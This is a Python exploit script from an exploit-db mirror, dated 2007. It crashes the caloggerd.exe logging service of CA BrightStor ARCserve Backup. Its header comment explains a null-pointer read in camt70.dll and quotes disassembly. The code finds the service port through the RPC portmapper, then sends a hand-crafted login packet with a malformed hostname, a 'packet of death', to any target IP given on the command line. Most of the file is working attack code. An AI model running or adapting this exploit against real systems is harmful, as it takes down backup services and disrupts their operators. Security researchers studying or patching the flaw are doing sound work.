exploit-db-mirror/platforms/windows/dos/3939.py
Offensive Security 477bcbdcc0 DB: 2016-03-17
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2016-03-17 07:07:56 +00:00

112 lines
3.6 KiB
Python
Executable file

#!/usr/bin/python
#
# Computer Associates (CA) Brightstor Backup caloggderd.exe DoS (camt70.dll)
# (Previously Unknown)
#
# There is an issue in camt70.dll when caloggerd is processing a hostname for a login operation.
# When processing the string, if a null is passed in as an argument, it will be loaded into ESI
# and then loaded into EDI in which the string processing will read a null memory location.
#
# .text:0032ADD0 push ecx
# .text:0032ADD1 mov eax, [esp+4+arg_4]
# .text:0032ADD5 push esi
# .text:0032ADD6 mov esi, [esp+8+arg_8] <--null gets loaded
# .text:0032ADDA push edi
# .text:0032ADDB mov edx, [eax]
# .text:0032ADDD mov edi, esi <-- EDI gets set to nulls
# .text:0032ADDF or ecx, 0FFFFFFFFh
# .text:0032ADE2 xor eax, eax
# .text:0032ADE4 repne scasb
#
# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest
# CA patches on Windows XP SP2
#
# CA has been notified
#
# Author: M. Shirk
#
# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com
#
# Use at your own Risk: You have been warned
#------------------------------------------------------------------------
import os
import sys
import time
import socket
import struct
#------------------------------------------------------------------------
# RPC GetPort request for caloggerd
rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x82\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"
# Begining of RPC Packet
packet="\x80\x00\x00\x58\x31\x46\xD3\xB9\x00\x00\x00\x00\x00\x00\x00\x02"
# Prog ID (caloggerd)
packet+="\x00\x06\x09\x82"
# Operation number 1
packet+="\x00\x00\x00\x01\x00\x00\x00\x01"
# Nulls
packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Size of hostname, used in the Login
packet+="\x00\x00\x00\x22"
# Hostname, which apparently with the size and the nulls, causes the DoS
packet+="\x41\x41\x41\x41"*8
packet+="\x41\x41\x00\x00"
packet+="\xff\xff\xff\xff"
#------------------------------------------------------------------------
def GetCALoggerPort(target):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,111))
sock.send(rpc_portmap_req)
rec = sock.recv(256)
sock.close()
port1 = rec[-4]
port2 = rec[-3]
port3 = rec[-2]
port4 = rec[-1]
port1 = hex(ord(port1))
port2 = hex(ord(port2))
port3 = hex(ord(port3))
port4 = hex(ord(port4))
port = '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))
port = int(port,16)
print '[+] Sending TCP Packet of Death to Target: %s Port: %s' % (target,port)
ExploitCALoggerd(target,port)
def ExploitCALoggerd(target,port):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,port))
sock.send(packet)
sock.close()
print '[+] Done...\n[+] caloggerd.exe is dead\n[+] ... or it will die in a few seconds for you inpatient bastards\n'
if __name__=="__main__":
try:
target = sys.argv[1]
except IndexError:
print '[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)'
print '[+] Author: Shirkdog'
print '[+] Usage: %s <target ip>\n' % sys.argv[0]
sys.exit(-1)
print '[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)'
print '[+] Author: Shirkdog'
GetCALoggerPort(target)
# milw0rm.com [2007-05-16]